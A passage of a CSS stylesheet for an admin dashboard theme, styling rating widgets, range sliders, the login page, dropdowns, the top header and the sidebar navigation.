  color: #ffffff; }

.jq-icon-error {
  background-color: #f5365c;
  color: #ffffff; }

.jq-icon-success {
  color: #ffffff;
  background-color: #2dce89; }

.jq-toast-single, .jq-toast-single h2 {
  font-family: 'Nunito Sans', sans-serif; }

.br-wrapper {
  margin: 20px 0 50px; }

.br-theme-bars-1to10 .br-widget .br-current-rating {
  clear: both;
  padding: 0;
  font-size: 13px;
  color: #757575;
  font-weight: 400; }

.br-theme-bars-reversed .br-widget .br-current-rating {
  clear: both;
  padding: 0;
  line-height: 2;
  font-size: 13px; }

.br-theme-bars-movie .br-widget .br-current-rating {
  color: #757575;
  font-weight: 400;
  text-align: left; }

.br-theme-bars-horizontal .br-widget .br-current-rating,
.br-theme-bars-reversed .br-widget .br-current-rating {
  color: #757575;
  font-weight: 400;
  font-size: 13px; }

span.value {
  display: inline; }

.current-rating {
  position: relative;
  top: -50px; }
  .current-rating.hidden {
    display: none; }

.your-rating {
  position: relative;
  top: -50px; }
  .your-rating.hidden {
    display: none; }

.br-theme-bars-1to10 .br-widget a,
.br-theme-bars-movie .br-widget a,
.br-theme-bars-reversed .br-widget a,
.br-theme-bars-horizontal .br-widget a {
  background-color: #66b0ff; }
  .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected,
  .br-theme-bars-movie .br-widget a.br-active,
  .br-theme-bars-movie .br-widget a.br-selected,
  .br-theme-bars-reversed .br-widget a.br-active,
  .br-theme-bars-reversed .br-widget a.br-selected,
  .br-theme-bars-horizontal .br-widget a.br-active,
  .br-theme-bars-horizontal .br-widget a.br-selected {
    background-color: #007bff; }

.br-theme-bars-pill .br-widget a {
  background-color: #66b0ff;
  color: #007bff; }
  .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected {
    background-color: #007bff; }

.br-theme-fontawesome-stars .br-widget a.br-active:after,
.br-theme-fontawesome-stars .br-widget a.br-selected:after {
  color: #007bff; }

.br-theme-css-stars .br-widget a.br-active:after,
.br-theme-css-stars .br-widget a.br-selected:after {
  color: #007bff; }

.br-theme-bars-square .br-widget a {
  border: 2px solid #66b0ff;
  color: #2990ff; }
  .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected {
    border: 2px solid #007bff;
    color: #007bff; }

.br-theme-fontawesome-stars-o .br-widget a.br-selected:after,
.br-theme-fontawesome-stars-o .br-widget a:after,
.br-theme-fontawesome-stars-o .br-widget a.br-active:after,
.br-theme-fontawesome-stars-o .br-widget a.br-fractional:after {
  color: #007bff; }

/*range slider start */
.range-slider {
  min-height: 200px;
  display: flex;
  align-items: center;
  margin-left: 15px; }
  .range-slider b {
    margin-top: -10px; }

#RGB {
  height: 10px;
  background: gray; }

#RC .slider-selection {
  background: #FF8282; }

#RC .slider-handle {
  background: red; }

#GC .slider-selection {
  background: #428041; }

#GC .slider-handle {
  background: green; }

#BC .slider-selection {
  background: #8283FF; }

#BC .slider-handle {
  border-bottom-color: blue; }

#R,
#G,
#B {
  width: 300px; }

.range-slider-contain {
  position: absolute;
  bottom: 15px; }

.slider-handle {
  top: -5px;
  background-image: linear-gradient(to bottom, #007bff 0%, #007bff 100%);
  box-shadow: none; }

.slider-tick,
.slider-track {
  background-image: linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%); }

.slider-handle.custom::before {
  line-height: 15px;
  font-size: 35px;
  color: #007bff; }

#slider12a .slider-track-high,
#slider12c .slider-track-high {
  background: green; }

#slider12b .slider-track-low,
#slider12c .slider-track-low {
  background: red; }

#slider12c .slider-selection {
  background: yellow; }

.slider-selection.tick-slider-selection {
  background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); }

.slider-tick.in-selection {
  background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); }

.slider.slider-horizontal .slider-track {
  height: 2px; }
.slider.slider-horizontal .slider-tick,
.slider.slider-horizontal .slider-handle {
  top: -5px;
  cursor: pointer; }

/*range slider end */
.slider.slider-horizontal .slider-track {
  width: 90%;
  margin-top: -5px;
  top: 50%;
  left: 10px; }

.auth-wrapper .lavalite-bg {
  height: 100vh;
  position: relative;
  width: 100%;
  -webkit-background-size: cover;
  background-size: cover;
  background-repeat: no-repeat; }
  .auth-wrapper .lavalite-bg .lavalite-overlay {
    position: absolute;
    width: 100%;
    height: 100%;
    top: 0;
    left: 0;
    background: linear-gradient(135deg, rgba(46, 52, 81, 0.4) 0%, rgba(52, 40, 104, 0.95) 100%); }
.auth-wrapper .authentication-form {
  font-size: .9rem;
  width: 70%;
  display: block;
  padding: 100px 0; }
  .auth-wrapper .authentication-form .logo-centered {
    width: 60px;
    margin: 0 auto;
    margin-bottom: 40px; }
  .auth-wrapper .authentication-form h3 {
    font-size: 20px;
    color: #272d36;
    margin-bottom: 20px; }
  .auth-wrapper .authentication-form .form-group {
    position: relative; }
    .auth-wrapper .authentication-form .form-group .form-control {
      padding-left: 40px; }
      .auth-wrapper .authentication-form .form-group .form-control ~ i {
        position: absolute;
        top: 10px;
        left: 15px; }
  .auth-wrapper .authentication-form .sign-btn {
    margin-top: 30px; }
  .auth-wrapper .authentication-form .register {
    margin-top: 30px;
    text-align: center; }

body {
  color: #212121;
  font-size: .8rem;
  line-height: 1.5;
  font-weight: 400;
  font-family: "Nunito Sans", sans-serif; }

.dropdown-toggle:after, .dropdown-toggle::after {
  display: none; }

.tooltip {
  font-family: "Nunito Sans", sans-serif;
  font-size: 12px;
  font-weight: 700; }

.truncate {
  text-overflow: ellipsis;
  white-space: nowrap;
  overflow: hidden; }

.progress-sm {
  height: .5rem; }
  .progress-sm .progress-bar {
    height: .5rem; }

.img-thumbnail, .list-thumbnail {
  border-radius: .1rem;
  padding: 0;
  border: initial; }

.list-thumbnail {
  height: auto;
  max-width: unset;
  height: 85px;
  object-fit: cover;
  width: unset !important; }
  @media only screen and (max-width: 1023px) {
    .list-thumbnail.responsive {
      width: unset;
      height: 135px; } }
  .list-thumbnail.small {
    height: 60px;
    font-size: 1rem; }

.list-thumbnail-letters {
  width: 85px;
  height: 85px;
  background: #090e40;
  align-items: center;
  display: flex;
  justify-content: center;
  font-size: 1.25rem;
  color: #fff; }
  .list-thumbnail-letters.small {
    width: 60px;
    height: 60px;
    font-size: 1rem; }

.list-item-heading {
  font-size: 1rem; }

.flex-grow-1 {
  -webkit-flex-grow: 1;
  -moz-flex-grow: 1;
  -ms-flex-grow: 1;
  flex-grow: 1; }

.dropdown-menu {
  padding: 5px;
  font-size: 12px;
  background-color: #ffffff;
  border-color: transparent;
  margin: 0;
  width: 170px;
  border-radius: 6px;
  -webkit-border-radius: 6px;
  -moz-border-radius: 6px;
  -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08);
  box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); }
  .dropdown-menu .dropdown-item {
    background-color: #ffffff;
    padding: 8px 15px;
    line-height: 14px;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
    .dropdown-menu .dropdown-item .dropdown-icon {
      display: inline-block;
      vertical-align: middle;
      font-size: 16px;
      margin-right: 5px;
      vertical-align: -2px;
      color: #9aa0ac; }
    .dropdown-menu .dropdown-item:hover, .dropdown-menu .dropdown-item:focus {
      background-color: #dee2e6 !important;
      color: #212121; }
    .dropdown-menu .dropdown-item .badge {
      width: 15px;
      height: 15px;
      border-radius: 50%;
      text-align: center;
      padding: 0;
      line-height: 15px; }
  .dropdown-menu:after, .dropdown-menu::after {
    bottom: 100%;
    left: 10px;
    border: solid transparent;
    content: ' ';
    height: 0;
    width: 0;
    position: absolute;
    pointer-events: none;
    border-color: rgba(136, 183, 213, 0);
    border-bottom-color: #ffffff;
    border-width: 5px; }
  .dropdown-menu.dropdown-menu-right::after {
    right: 10px;
    left: auto; }

.wrapper .header-top {
  background-color: #ffffff;
  z-index: 1030;
  position: relative;
  padding: 15px 0;
  position: fixed;
  top: 0;
  width: 100%;
  left: 0;
  padding-left: 240px;
  -webkit-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04);
  -moz-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04);
  box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); }
  .wrapper .header-top .top-menu .dropdown {
    margin-left: 10px; }
    .wrapper .header-top .top-menu .dropdown .dropdown-menu {
      margin-top: 10px; }
      .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid {
        width: 182px; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item {
          display: inline-block;
          width: 40px;
          height: 40px;
          text-align: center;
          padding: 0;
          line-height: 40px;
          font-size: 18px;
          color: #5A5A5A; }
      .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown {
        min-width: 300px;
        padding: 0; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header {
          margin: 0;
          padding: 15px;
          font-size: 16px;
          border-bottom: 1px solid #f1f1f1; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media {
          border-bottom: 1px solid #eef1f2;
          padding: 10px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd) {
            background: #f8f9fa; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex {
            -webkit-box-align: start;
            -ms-flex-align: start;
            align-items: flex-start;
            margin-right: 15px; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i {
              color: #fff;
              text-align: center;
              font-size: 15px;
              line-height: 30px;
              top: 0;
              height: 30px;
              width: 30px;
              background: #404E67;
              border-radius: 50%;
              -webkit-border-radius: 50%;
              -moz-border-radius: 50%; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img {
              height: 30px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body {
            font-size: 12px; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading {
              color: #444;
              font-weight: 600;
              letter-spacing: 0; }
            .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content {
              color: #868e96; }
        .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer {
          text-align: center;
          padding: 10px 15px; }
          .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a {
            color: #212121;
            font-size: 16px; }
  .wrapper .header-top .top-menu .nav-link {
    width: 30px;
    height: 30px;
    padding: 0;
    text-align: center;
    line-height: 36px;
    color: #212121;
    border: none;
    position: relative;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    -moz-transition: all 0.5s ease-in-out;
    -o-transition: all 0.5s ease-in-out;
    -webkit-transition: all 0.5s ease-in-out;
    transition: all 0.5s ease-in-out; }
    .wrapper .header-top .top-menu .nav-link:hover, .wrapper .header-top .top-menu .nav-link:focus {
      background-color: #dee2e6;
      color: #333; }
    .wrapper .header-top .top-menu .nav-link i {
      font-size: 16px; }
    .wrapper .header-top .top-menu .nav-link .badge {
      right: -1px;
      position: absolute;
      top: -4px;
      padding: 3px;
      width: 17px;
      font-size: 11px;
      font-weight: 800;
      color: #fff;
      border-radius: 100px;
      -webkit-border-radius: 100px;
      -moz-border-radius: 100px; }
  .wrapper .header-top .top-menu .avatar {
    color: #4c5667;
    font-weight: 600;
    width: 30px;
    height: 30px;
    line-height: 30px;
    border-radius: 50%;
    -webkit-border-radius: 50%;
    -moz-border-radius: 50%;
    display: inline-block;
    background: #ced4da no-repeat center/cover;
    position: relative;
    vertical-align: bottom;
    font-size: .875rem;
    user-select: none; }
  .wrapper .header-top .top-menu .mobile-nav-toggle {
    border: none;
    position: relative;
    margin-right: 5px; }
    .wrapper .header-top .top-menu .mobile-nav-toggle span {
      height: 2px;
      width: 20px;
      background-color: #4a5361;
      display: inline-block;
      border-radius: 4px;
      position: absolute;
      top: 14px;
      left: 5px; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::before, .wrapper .header-top .top-menu .mobile-nav-toggle span::after {
        content: "";
        height: 2px;
        width: 20px;
        border-radius: 4px;
        background-color: #4a5361;
        display: inline-block;
        position: absolute; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::before {
        left: 0;
        top: -6px; }
      .wrapper .header-top .top-menu .mobile-nav-toggle span::after {
        left: 0;
        bottom: -6px; }
  .wrapper .header-top .top-menu .header-search {
    padding: 0 10px;
    position: relative; }
    .wrapper .header-top .top-menu .header-search .input-group {
      border-radius: 20px;
      -webkit-border-radius: 20px;
      -moz-border-radius: 20px;
      margin-bottom: 0; }
      .wrapper .header-top .top-menu .header-search .input-group .input-group-addon {
        color: #404E67;
        padding: 2px 10px 2px 0px;
        font-size: 16px;
        cursor: pointer; }
        .wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close {
          padding: 2px 0px 2px 10px;
          display: none; }
      .wrapper .header-top .top-menu .header-search .input-group .form-control {
        padding: 0 10px;
        min-height: auto;
        width: 0;
        border: none;
        color: #353c4e;
        background-color: transparent;
        border-radius: 0px;
        -webkit-border-radius: 0px;
        -moz-border-radius: 0px; }
    .wrapper .header-top .top-menu .header-search.open .input-group {
      background-color: #e4e4e4; }
      .wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close {
        display: block; }
  @media only screen and (max-width: 1023px) {
    .wrapper .header-top {
      padding-left: 0; } }
  .wrapper .header-top[header-theme="light"] {
    background: #ffffff; }
  .wrapper .header-top[header-theme="dark"] {
    background: #272d36; }
  .wrapper .header-top[header-theme="blue"] {
    background: #007bff; }
  .wrapper .header-top[header-theme="red"] {
    background: #f5365c; }
  .wrapper .header-top[header-theme="orange"] {
    background: #fb6340; }
  .wrapper .header-top[header-theme="green"] {
    background: #2dce89; }
  .wrapper .header-top[header-theme="purple"] {
    background: #BF55EC; }
  .wrapper .header-top[header-theme="blue"] .top-menu .nav-link, .wrapper .header-top[header-theme="red"] .top-menu .nav-link, .wrapper .header-top[header-theme="orange"] .top-menu .nav-link, .wrapper .header-top[header-theme="green"] .top-menu .nav-link, .wrapper .header-top[header-theme="purple"] .top-menu .nav-link, .wrapper .header-top[header-theme="dark"] .top-menu .nav-link {
    color: #ffffff;
    background-color: transparent; }
  .wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon {
    color: #ffffff; }
.wrapper .page-wrap {
  position: relative; }
  .wrapper .page-wrap .app-sidebar {
    position: fixed;
    left: 0;
    top: 0;
    width: 240px;
    height: 100vh;
    background-color: #ffffff;
    z-index: 1040;
    -webkit-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    -moz-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1);
    -moz-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -o-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -webkit-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    transition: width 0.3s cubic-bezier(0, 0, 0.2, 1);
    -moz-transform: translate3d(0, 0, 0);
    -o-transform: translate3d(0, 0, 0);
    -ms-transform: translate3d(0, 0, 0);
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    white-space: nowrap;
    visibility: visible; }
    .wrapper .page-wrap .app-sidebar .sidebar-header {
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center;
      -webkit-justify-content: space-between;
      -moz-justify-content: space-between;
      -ms-justify-content: space-between;
      justify-content: space-between;
      -ms-flex-pack: space-between;
      padding: 13px 15px;
      height: 60px; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand {
        display: block;
        font-size: 22px;
        font-weight: 700;
        color: #212529; }
        .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img {
          display: inline-block;
          width: 30px; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle {
        border: none;
        background-color: transparent;
        color: #ffffff;
        font-size: 20px;
        -webkit-box-shadow: none;
        -moz-box-shadow: none;
        box-shadow: none; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon {
        border: none; }
      .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close {
        display: none;
        border: none;
        background-color: transparent;
        color: #ffffff;
        font-size: 20px;
        -webkit-box-shadow: none;
        -moz-box-shadow: none;
        box-shadow: none; }
        @media only screen and (max-width: 1023px) {
          .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close {
            display: inline-block; } }
      @media only screen and (max-width: 1023px) {
        .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle {
          display: none; } }
    .wrapper .page-wrap .app-sidebar .sidebar-content {
      position: relative;
      height: -webkit-calc(100vh - 60px);
      height: -moz-calc(100vh - 60px);
      height: calc(100vh - 60px);
      overflow: auto;
      z-index: 4; }
      .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item {
        position: relative; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a {
          display: block;
          overflow: hidden;
          padding: 15px 5px;
          margin-left: 15px;
          margin-right: 15px;
          color: #545454;
          position: relative; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i {
            font-size: 20px;
            margin-right: 10px;
            display: inline-block;
            vertical-align: -4px; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span {
            font-size: 13px; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge {
            position: absolute;
            right: 30px;
            text-align: center;
            top: 16px;
            vertical-align: middle;
            white-space: nowrap;
            opacity: 1;
            visibility: visible;
            border-radius: 4px;
            font-size: 75%;
            padding: 4px 7px;
            margin-right: 5px;
            font-weight: 800;
            color: #fff;
            -webkit-transition: opacity 0.3s linear;
            transition: opacity 0.3s linear;
            text-transform: uppercase; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled {
            opacity: 0.5;
            cursor: not-allowed !important; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before {
          content: "\e844";
          font-family: "iconkit";
          position: absolute;
          right: 3px;
          top: 15px;
          -moz-transform: rotate(0deg);
          -o-transform: rotate(0deg);
          -ms-transform: rotate(0deg);
          -webkit-transform: rotate(0deg);
          transform: rotate(0deg);
          -moz-transition: all 0.2s ease-in-out;
          -o-transition: all 0.2s ease-in-out;
          -webkit-transition: all 0.2s ease-in-out;
          transition: all 0.2s ease-in-out; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content {
          background-color: #f3f3f3; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item {
            padding: 10px 5px;
            font-size: 13px;
            padding-left: 50px;
            margin: 0; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before {
              display: none; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active {
              color: #eb525d; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after {
            display: none; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a {
            position: relative; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before {
              content: "\e844";
              font-family: "iconkit";
              position: absolute;
              right: 20px;
              top: 10px;
              display: inline-block;
              -moz-transform: rotate(0deg);
              -o-transform: rotate(0deg);
              -ms-transform: rotate(0deg);
              -webkit-transform: rotate(0deg);
              transform: rotate(0deg);
              -moz-transition: all 0.2s ease-in-out;
              -o-transition: all 0.2s ease-in-out;
              -webkit-transition: all 0.2s ease-in-out;
              transition: all 0.2s ease-in-out; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item {
            padding-left: 70px; }
            .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before {
              display: none; }
          .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before {
            -moz-transform: rotate(90deg);
            -o-transform: rotate(90deg);
            -ms-transform: rotate(90deg);
            -webkit-transform: rotate(90deg);
            transform: rotate(90deg); }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content {
          display: none; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before {
          -moz-transform: rotate(90deg);
          -o-transform: rotate(90deg);
          -ms-transform: rotate(90deg);
          -webkit-transform: rotate(90deg);
          transform: rotate(90deg); }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after {
          background: #576a3d;
          border-radius: 10px;
          color: #fff;
          content: " ";
          height: 30px;
          left: 0;
          position: absolute;
          top: 10px;
          width: 3px; }
        .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after {
          background: #576a3d;
          border-radius: 10px;
          color: #fff;
          content: " ";
          height: 30px;
          left: 0;
          top: 10px;
          position: absolute;
          width: 3px; }
      .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel {
        font-size: 14px;
        font-weight: 400;
        opacity: 1;
        padding: 8px 20px 8px;
        text-transform: capitalize;
        visibility: visible;
        width: 100%;
        color: #999;
        background: #333e52; }
    .wrapper .page-wrap .app-sidebar.colored .sidebar-header {
      background-color: #272d36; }
      .wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand {
        color: #ffffff; }
    .wrapper .page-wrap .app-sidebar.colored .sidebar-content {
      background-color: #404E67; }
      .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item {
        border-color: rgba(243, 243, 243, 0.15); }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a {
          color: #ffffff; }
          .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i {
            color: #bcc8d8; }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content {
          background-color: #4a5872; }
        .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after, .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after {
          background-color: #eb525d; }
    .wrapper .page-wrap .app-sidebar.hide-sidebar {
      -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
      -moz-transform: translate3d(-100%, 0, 0);
      -o-transform: translate3d(-100%, 0, 0);
      -ms-transform: translate3d(-100%, 0, 0);
      -webkit-transform: translate3d(-100%, 0, 0);
      transform: translate3d(-100%, 0, 0); }
    @media only screen and (max-width: 1023px) {
      .wrapper .page-wrap .app-sidebar {
        -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1);
        transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); } }
  .wrapper .page-wrap .main-content {
    padding: 30px 0;
    background-color: #F6F7FB;
    min-height: calc(100vh - 120px);
    margin-top: 60px;
    padding-right: 15px;
    padding-left: 255px;
    -moz-transition: all 0.3s ease;
    -o-transition: all 0.3s ease;
    -webkit-transition: all 0.3s ease;
    transition: all 0.3s ease; }
    @media only screen and (max-width: 1023px) {
      .wrapper .page-wrap .main-content {
        padding-left: 0;
        padding-right: 0; } }
    .wrapper .page-wrap .main-content .page-header {
      margin-bottom: 30px; }
      .wrapper .page-wrap .main-content .page-header .page-header-title i {
        float: left;
        width: 40px;
        height: 40px;
        border-radius: 5px;
        margin-right: 20px;
        vertical-align: middle;
        font-size: 22px;
        color: #fff;
        display: inline-flex;
        -webkit-justify-content: center;
        -moz-justify-content: center;
        -ms-justify-content: center;
        justify-content: center;
        -ms-flex-pack: center;
        -webkit-align-items: center;
        -moz-align-items: center;
        -ms-align-items: center;
        align-items: center;
        -webkit-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5);
        -moz-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5);
        box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); }
      .wrapper .page-wrap .main-content .page-header .page-header-title h5 {
        margin-bottom: 0;
        font-weight: 700;
        font-size: 18px; }
        .wrapper .page-wrap .main-content .page-header .page-header-title h5 + span {
          font-size: 13px; }
      .wrapper .page-wrap .main-content .page-header .breadcrumb-container {
        float: right; }
        .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb {
          background-color: transparent;
          margin-bottom: 0;
          float: right; }
          .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a {
            color: #212121; }
    .wrapper .page-wrap .main-content .card .card-body .sub-title {
      font-size: 14px;
      border-bottom: 1px solid rgba(204, 204, 204, 0.35);
      padding-bottom: 10px;
      margin-bottom: 20px;
      color: #2c3e50; }
    .wrapper .page-wrap .main-content .card .card-body code {
      background-color: #eee;
      margin: 5px;
      display: inline-block;
      padding: 1px 6px;
      border-radius: 3px;
      -webkit-border-radius: 3px;
      -moz-border-radius: 3px; }
    .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item {
      padding: 13px 20px;
      border: 1px solid #ededed;
      position: relative;
      border-left: 0;
      border-right: 0;
      height: 50px;
      overflow: hidden;
      -moz-transition: transform 0.2s ease-in-out;
      -o-transition: transform 0.2s ease-in-out;
      -webkit-transition: transform 0.2s ease-in-out;
      transition: transform 0.2s ease-in-out; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner {
        display: -webkit-box;
        display: -moz-box;
        display: -ms-flexbox;
        display: -webkit-flex;
        display: flex;
        -webkit-justify-content: flex-start;
        -moz-justify-content: flex-start;
        -ms-justify-content: flex-start;
        justify-content: flex-start;
        -ms-flex-pack: flex-start;
        position: relative; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control {
          margin: 0;
          margin-top: -2px; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title {
          width: 100%;
          display: block; }
          .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a {
            color: #3e5569;
            font-weight: 600;
            display: block;
            width: 100%;
            white-space: nowrap;
            text-overflow: ellipsis;
            overflow: hidden;
            width: calc(100% - 50px); }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions {
          position: absolute;
          right: 0px;
          top: 50%;
          opacity: 0;
          display: none;
          z-index: 3;
          padding-left: 10px;
          -moz-transform: translateY(-50%);
          -o-transform: translateY(-50%);
          -ms-transform: translateY(-50%);
          -webkit-transform: translateY(-50%);
          transform: translateY(-50%); }
          .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a {
            width: 30px;
            height: 30px;
            padding: 0;
            border-radius: 50%;
            text-align: center;
            line-height: 32px;
            color: #999;
            display: inline-block; }
            .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus {
              background-color: #dee2e6;
              color: #333; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap {
        margin-top: 5px;
        opacity: 0; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p {
          margin: 0; }
      .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus {
        background-color: #f9f9f9; }
        .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions {
